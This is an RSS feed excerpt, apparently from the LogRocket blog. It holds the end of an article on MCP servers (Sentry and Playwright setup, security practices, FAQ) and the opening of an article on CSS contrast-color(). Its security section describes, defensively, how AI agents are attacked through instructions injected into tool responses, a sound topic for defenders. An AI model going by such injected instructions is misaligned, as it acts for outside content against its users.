&lt;p&gt;Your client handles the OAuth sign-in on the first connection. A local stdio option (&lt;code&gt;npx @sentry/mcp-server@latest&lt;/code&gt;) is also available if you prefer to run it yourself.&lt;/p&gt;
&lt;p&gt;Beyond raw issue retrieval, the server exposes Sentry’s Seer tooling for AI-assisted root cause analysis, so the model can move from “here is the error” to “here is the likely cause and a suggested fix” against real production data.&lt;/p&gt;
&lt;h3 id=&quot;debugging-use-cases&quot;&gt;Debugging use cases&lt;/h3&gt;
&lt;p&gt;The typical debugging loop is slow, but with the Sentry server, the model gets the same view you do, the complete issue with all context attached. The highest-value query for most teams is the morning check, asking whether any new errors have appeared since the last deploy without opening the dashboard.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const sentryWorkflow = async (client) =&amp;gt; {
 const issues = await client.callTool({
   name: &#39;search_issues&#39;,
   arguments: {
     organizationSlug: &#39;my-org&#39;,
     query: &#39;is:unresolved&#39;
   }
 });

 const rootCause = await client.callTool({
   name: &#39;analyze_issue_with_seer&#39;,
   arguments: {
     organizationSlug: &#39;my-org&#39;,
     issueId: issues[0].shortId
   }
 });

 return { issues, rootCause };
};&lt;/pre&gt;
&lt;h2 id=&quot;playwright-mcp-server-end-to-end-testing-automation&quot;&gt;&lt;strong data-start=&quot;1373&quot; data-end=&quot;1444&quot;&gt;How do you automate browser testing with the Playwright MCP server?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://media.licdn.com/dms/image/v2/D5612AQFkUoKfSVVgYQ/article-cover_image-shrink_720_1280/article-cover_image-shrink_720_1280/0/1713935415584?e=2147483647&amp;amp;v=beta&amp;amp;t=wTUYZrnxhDx4LEhQ433gCc2Oij9-EyzGzFweGK0OptQ&quot; alt=&quot;Playwright Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot;&gt;Playwright MCP&lt;/a&gt; server provides browser automation through structured accessibility snapshots rather than pixel-based interaction, which keeps it deterministic and avoids the need for vision models. It supports Chrome, Firefox, WebKit, and Edge in both headless and headed modes.&lt;/p&gt;
&lt;p&gt;The basic stdio setup pins to the latest release:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;@playwright/mcp@latest&quot;]
    }
  }
}&lt;/pre&gt;
&lt;p&gt;For Claude Code, one command does it:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;claude mcp add playwright npx @playwright/mcp@latest&lt;/pre&gt;
&lt;p&gt;A couple of flags are worth knowing. Vision capabilities are enabled through the capabilities flag, &lt;code&gt;--caps vision&lt;/code&gt;, and headless mode through &lt;code&gt;--headless&lt;/code&gt;. For remote or display-less environments, run the server with a port to enable HTTP transport:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot;&gt;npx @playwright/mcp@latest --port 8931

{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;http://localhost:8931/mcp&quot;
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Also, for coding agents that have filesystem access, Microsoft now ships a companion &lt;code&gt;@playwright/cli&lt;/code&gt; that exposes the same automation as shell commands. It is considerably more token-efficient because it writes snapshots and screenshots to disk instead of streaming them into context.&lt;/p&gt;
&lt;h3 id=&quot;testing-workflow-applications&quot;&gt;Testing workflow applications&lt;/h3&gt;
&lt;p&gt;QA teams generate test suites from application functionality using accessibility snapshots, development teams run cross-browser regression testing, and platform teams script realistic user journeys.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const playwrightTestSuite = async (client) =&amp;gt; {
 await client.callTool({
   name: &#39;browser_navigate&#39;,
   arguments: { url: &#39;https://myapp.com/login&#39; }
 });

 const snapshot = await client.callTool({
   name: &#39;browser_snapshot&#39;,
   arguments: {}
 });

 await client.callTool({
   name: &#39;browser_type&#39;,
   arguments: {
     element: &#39;email input field&#39;,
     ref: &#39;input[type=&quot;email&quot;]&#39;,
     text: &#39;&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;9beffee8efdbfee3faf6ebf7feb5f8f4f6&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;&#39;
   }
 });

 return { snapshot };
};&lt;/pre&gt;
&lt;h2 id=&quot;security-and-implementation-best-practices&quot;&gt;How do you secure MCP servers?&lt;/h2&gt;
&lt;p&gt;Running MCP servers in production carries real security weight, well beyond “store your tokens carefully.” A few things deserve attention.&lt;/p&gt;
&lt;ol&gt;
&lt;li id=&quot;prompt-injection-through-tool-responses-this-is-the-attack-that-matters-most-for-mcp-any-server-that-returns-external-content-web-pages-issue-text-documentation-is-a-potential-vector-for-injected-instructions-treat-tool-output-as-untrusted-data-and-be-especially-careful-before-granting-write-access-to-any-server-that-reads-from-the-open-web-security-researchers-have-flagged-this-repeatedly-through-2026&quot;&gt;&lt;strong&gt;Prompt injection through tool responses –&lt;/strong&gt; This is the attack that matters most for MCP. Any server that returns external content, web pages, issue text, or documentation is a potential vector for injected instructions. Treat tool output as untrusted data, and be especially careful before granting write access to any server that reads from the open web. Security researchers have flagged this repeatedly through 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validate the origin header&lt;/strong&gt; – The current spec requires servers to validate the &lt;code&gt;Origin&lt;/code&gt; header on incoming connections to prevent DNS rebinding attacks, and local servers should bind to &lt;code&gt;127.0.0.1&lt;/code&gt; rather than &lt;code&gt;0.0.0.0&lt;/code&gt;. If you are running or building a server, confirm this is in place&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope OAuth permissions tightly&lt;/strong&gt; – Remote servers on Streamable HTTP have largely standardized on OAuth 2.1, which lets you request narrow scopes. Ask for &lt;code&gt;repo:read&lt;/code&gt; rather than full &lt;code&gt;repo&lt;/code&gt; access, a single project rather than the whole org. Short-lived, narrowly scoped credentials dramatically limit the blast radius when an agent misfires&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prefer official and containerized servers&lt;/strong&gt; – Use the vendor’s own implementation over an unreviewed community fork where one exists, and consider Docker’s MCP Catalog for containerized isolation. A large share of servers scanned in 2026 audits had security findings, so the provenance of what you install genuinely matters. Pin community servers to a known-good version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mind the token budget&lt;/strong&gt; – Every connected server injects its tool definitions into context, often 500 to 1,000 tokens per tool. Five servers with rich tool sets can consume tens of thousands of tokens before you ask anything. Keep your active set small, three to five servers covering your actual weekly workflow, and use read-only modes and toolset filters to trim what the agent sees&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Beyond these, the usual production hygiene is to centralize configuration and secrets, monitor latency and error rates per server, handle timeouts gracefully, and store credentials in environment variables or a secrets manager rather than plain text.&lt;/p&gt;
&lt;h2 id=&quot;frequently-asked-questions&quot;&gt;Frequently asked questions&lt;/h2&gt;
&lt;h3 id=&quot;is-sse-still-supported-in-mcp&quot;&gt;Is SSE still supported in MCP?&lt;/h3&gt;
&lt;p&gt;The legacy HTTP+SSE transport is deprecated. It was superseded by Streamable HTTP in the 2025 spec, and the current stable spec recognizes only stdio and Streamable HTTP. SSE still works in many clients for backward compatibility, but you should not build anything new on it. If a config points at a &lt;code&gt;/sse&lt;/code&gt; URL, move it to the server’s &lt;code&gt;/mcp&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;h3 id=&quot;what-is-the-difference-between-stdio-and-streamable-http&quot;&gt;What is the difference between stdio and Streamable HTTP?&lt;/h3&gt;
&lt;p&gt;Use stdio when a single client launches the server as a local subprocess on the same machine, with no ports, auth, or CORS to manage. Use Streamable HTTP for anything remote or multi-client, where the server runs independently on a URL and exposes one endpoint that handles both requests and optional streaming responses.&lt;/p&gt;
&lt;h3 id=&quot;are-mcp-servers-free&quot;&gt;Are MCP servers free?&lt;/h3&gt;
&lt;p&gt;Most are. The servers here are free to install, and many are free to use within a provider’s free tier, with usage beyond that metered. GitHub MCP is free with a GitHub account, Playwright and the Docker Toolkit are free, and Context7 has a free tier. The real cost of running servers is not money but context window tokens, since each server’s tool definitions consume space in every request.&lt;/p&gt;
&lt;h3 id=&quot;do-i-still-need-a-personal-access-token-or-can-i-use-oauth&quot;&gt;Do I still need a personal access token, or can I use OAuth?&lt;/h3&gt;
&lt;p&gt;It depends on the server. Remote servers largely use OAuth 2.1, so GitHub, Figma, Sentry, and Cloudflare typically prompt a browser sign-in on first use. Many also accept a token as a fallback, and local stdio servers usually authenticate through a CLI login or a connection string rather than OAuth.&lt;/p&gt;
&lt;h3 id=&quot;how-many-mcp-servers-should-i-run-at-once&quot;&gt;How many MCP servers should I run at once?&lt;/h3&gt;
&lt;p&gt;Three to five is the practical sweet spot. Each server adds tools to the agent’s budget, which slows tool selection and raises the chance of the wrong tool being chosen. Install only servers that solve a problem you hit weekly, and lean on read-only modes and toolset filters to keep the surface tight.&lt;/p&gt;
&lt;h3 id=&quot;which-mcp-servers-should-i-install-first&quot;&gt;Which MCP servers should I install first?&lt;/h3&gt;
&lt;p&gt;For most web developers, GitHub MCP, Context7, and Playwright cover the majority of what an agent needs: repository context, current documentation, and browser automation. Add the others as specific workflows demand them: a cloud server when you deploy, a database server when the agent needs to reason about data, and Sentry when debugging is eating your time.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The Model Context Protocol marks a major shift in how we build AI-powered applications. The 15 MCP servers covered here form the foundation for creating advanced, integrated workflows, whether you’re analyzing code with GitHub or automating deployments with Cloud Run.&lt;/p&gt;
&lt;p&gt;Success with MCP comes from choosing servers that match your actual stack and keeping the set small enough that each one earns its place in the context window. Start with a handful that complement what you already use, scope their permissions tightly, treat their output as untrusted, and expand only when a real workflow demands it.&lt;/p&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/mcp/&quot;&gt;#mcp&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/top-15-mcp-servers-ai-projects/</link><guid isPermaLink="false">https://blog.logrocket.com/top-15-mcp-servers-ai-projects/</guid><pubDate>Invalid Date</pubDate><author>Ikeh Akinyemi</author></item><item><title>How to use CSS contrast-color() for auto-contrast</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#why-javascript-contrast-math-falls-short&quot;&gt;Why JavaScript contrast math falls short&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-javascript-contrast-math-falls-short&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#server-rendering-breaks-the-color-read&quot;&gt;Server rendering breaks the color read&lt;/a&gt;
        &lt;ul data-toc-name=&quot;server-rendering-breaks-the-color-read&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#runtime-cost-compounds-at-scale&quot;&gt;Runtime cost compounds at scale&lt;/a&gt;
        &lt;ul data-toc-name=&quot;runtime-cost-compounds-at-scale&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#design-tokens-don-t-always-map-cleanly&quot;&gt;Design tokens don&#39;t always map cleanly&lt;/a&gt;
        &lt;ul data-toc-name=&quot;design-tokens-don-t-always-map-cleanly&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#what-is-contrast-color&quot;&gt;&lt;strong&gt;What is CSS &lt;code&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-contrast-color&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#how-the-browser-calculates-contrast&quot;&gt;&lt;strong&gt;How does &lt;code&gt;contrast-color()&lt;/code&gt; calculate contrast?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-the-browser-calculates-contrast&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#what-wcag-compliance-means-here&quot;&gt;&lt;strong&gt;Is &lt;code&gt;contrast-color()&lt;/code&gt; WCAG compliant?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-wcag-compliance-means-here&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#what-the-function-doesn-t-do-yet&quot;&gt;&lt;strong&gt;What are the limitations of &lt;code&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-the-function-doesn-t-do-yet&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#container-style-queries-querying-custom-property-flags&quot;&gt;&lt;strong&gt;Why use container style queries with &lt;code&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;container-style-queries-querying-custom-property-flags&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#the-syntax&quot;&gt;&lt;strong&gt;What is the syntax for container style queries?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-syntax&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#why-is-this-cleaner-than-class-toggling&quot;&gt;Why is this cleaner than class toggling&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-is-this-cleaner-than-class-toggling&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#what-s-actually-supported-right-now&quot;&gt;&lt;strong&gt;Which browsers support container style queries?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-s-actually-supported-right-now&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#building-the-components&quot;&gt;&lt;strong&gt;How do you build an auto-contrast card component?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;building-the-components&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#step-1-set-up-the-custom-property-structure&quot;&gt;Step 1: Set up the custom property structure&lt;/a&gt;
        &lt;ul data-toc-name=&quot;step-1-set-up-the-custom-property-structure&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#step-2-wire-in-contrast-color-for-automatic-text-color&quot;&gt;Step 2: Wire in contrast-color() for automatic text color&lt;/a&gt;
        &lt;ul data-toc-name=&quot;step-2-wire-in-contrast-color-for-automatic-text-color&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#step-3-layer-in-style-query-logic-for-border-and-surface-variants&quot;&gt;Step 3: Layer in style query logic for border and surface variants&lt;/a&gt;
        &lt;ul data-toc-name=&quot;step-3-layer-in-style-query-logic-for-border-and-surface-variants&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#step-4-putting-it-together&quot;&gt;Step 4: Putting it together&lt;/a&gt;
        &lt;ul data-toc-name=&quot;step-4-putting-it-together&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#supports-fallbacks&quot;&gt;&lt;strong&gt;How do you add fallbacks with &lt;code&gt;@supports&lt;/code&gt;?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;supports-fallbacks&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#falling-back-on-contrast-color&quot;&gt;&lt;strong&gt;How do you add a fallback for &lt;code&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;falling-back-on-contrast-color&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#falling-back-on-container-style-queries&quot;&gt;&lt;strong&gt;How do you add a fallback for container style queries?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;falling-back-on-container-style-queries&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#what-this-looks-like-combined&quot;&gt;&lt;strong&gt;What do the combined fallbacks look like?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-this-looks-like-combined&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/css-contrast-color-auto-contrast/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;Most accessible theming systems follow a similar pattern: they use JavaScript to calculate relative luminance, then toggle a class or set a CSS variable based on the result. This approach works, but it can cause problems with SSR hydration mismatches, &lt;a href=&quot;https://blog.logrocket.com/design-foundational-reusable-components-style-dictionary/&quot;&gt;design tokens&lt;/a&gt; that don’t convert easily to hex, or performance issues when colors change often.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-use-CSS-contrast-color-for-auto-contrast.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-use-CSS-contrast-color-for-auto-contrast.png 895w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-use-CSS-contrast-color-for-auto-contrast-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-use-CSS-contrast-color-for-auto-contrast-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;With the CSS &lt;code&gt;contrast-color()&lt;/code&gt; function and container style queries, you can let the browser handle this logic for you. In this article, you’ll learn how to build a reusable card component that automatically chooses WCAG-compliant text and border colors for any background color it gets. There’s no need for JavaScript calculations, SCSS mixins, or class toggling.&lt;/p&gt;
&lt;h2 id=&quot;why-javascript-contrast-math-falls-short&quot;&gt;Why JavaScript contrast math falls short&lt;/h2&gt;
&lt;p&gt;The standard approach looks something like this: take a background color, compute its relative luminance, compare it against a threshold, and return &lt;code&gt;#000&lt;/code&gt; or &lt;code&gt;#fff.&lt;/code&gt; In SCSS, you’d write a &lt;a href=&quot;https://blog.logrocket.com/adding-dynamic-colors-with-css/&quot;&gt;color-contrast() mixin&lt;/a&gt;. In JavaScript, it’s a utility function that gets called wherever a dynamic background is applied.&lt;/p&gt;
&lt;p&gt;Here’s what that typically looks like:&lt;/p&gt;
&lt;pre class=&quot;language-typescript hljs&quot;&gt;function getRelativeLuminance(hex: string): number {
  const [r, g, b] = hexToRgb(hex).map((val) =&amp;gt; {
    const s = val / 255;
    return s &amp;lt;= 0.03928 ? s / 12.92 : Math.pow((s + 0.055) / 1.055, 2.4);
  });
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}

function getContrastColor(background: string): &quot;#000000&quot; | &quot;#ffffff&quot; {
  const luminance = getRelativeLuminance(background);
  return luminance &amp;gt; 0.179 ? &quot;#000000&quot; : &quot;#ffffff&quot;;
}&lt;/pre&gt;
&lt;p&gt;This method works well on its own, but issues start to appear in real-world production environments.&lt;/p&gt;
&lt;h3 id=&quot;server-rendering-breaks-the-color-read&quot;&gt;Server rendering breaks the color read&lt;/h3&gt;
&lt;p&gt;When rendering a card component on the server, background colors may originate from user preferences, &lt;a href=&quot;https://blog.logrocket.com/using-payload-cms-build-blog/&quot;&gt;CMS&lt;/a&gt; fields, or runtime design tokens, which are unavailable at build time. You must either skip server-side contrast calculations and accept a color mismatch during hydration or duplicate logic across environments to maintain consistency.&lt;/p&gt;
&lt;h3 id=&quot;runtime-cost-compounds-at-scale&quot;&gt;Runtime cost compounds at scale&lt;/h3&gt;
&lt;p&gt;Each time the background changes, the calculation runs again. On a dashboard with many cards, or in a design tool where users adjust colors often, this happens repeatedly. While it’s not a heavy task by itself, it’s extra work that the browser could manage on its own.&lt;/p&gt;
&lt;h3 id=&quot;design-tokens-don-t-always-map-cleanly&quot;&gt;Design tokens don’t always map cleanly&lt;/h3&gt;
&lt;p&gt;If your token system uses &lt;a href=&quot;https://blog.logrocket.com/using-hsl-colors-css/&quot;&gt;HSL&lt;/a&gt;, LCH, or oklch() color values, you need to convert them before using a hex-based luminance function. This adds extra steps or limits how you format your tokens, and neither option works well as your design system grows.&lt;/p&gt;
&lt;p&gt;The main issue isn’t the math. It’s that you’re rebuilding something the browser can now handle, and you have to update your setup every time your color system changes.&lt;/p&gt;
&lt;h2 id=&quot;what-is-contrast-color&quot;&gt;&lt;strong data-start=&quot;386&quot; data-end=&quot;421&quot;&gt;What is CSS &lt;code data-start=&quot;400&quot; data-end=&quot;418&quot;&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;contrast-color()&lt;/code&gt; is a CSS function that takes a color and returns either white or black, depending on which one has a higher contrast ratio. The browser handles the luminance calculation automatically when it draws the page.&lt;/p&gt;
&lt;p&gt;The basic syntax:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.card {
  background-color: var(--card-bg);
  color: contrast-color(var(--card-bg));
}&lt;/pre&gt;
&lt;p&gt;That’s all you need. You don’t need a utility function, class toggling, or any server-side calculation.&lt;/p&gt;
&lt;h3 id=&quot;how-the-browser-calculates-contrast&quot;&gt;&lt;strong data-start=&quot;470&quot; data-end=&quot;521&quot;&gt;How does &lt;code data-start=&quot;481&quot; data-end=&quot;499&quot;&gt;contrast-color()&lt;/code&gt; calculate contrast?&lt;/strong&gt;&lt;/h3&gt;
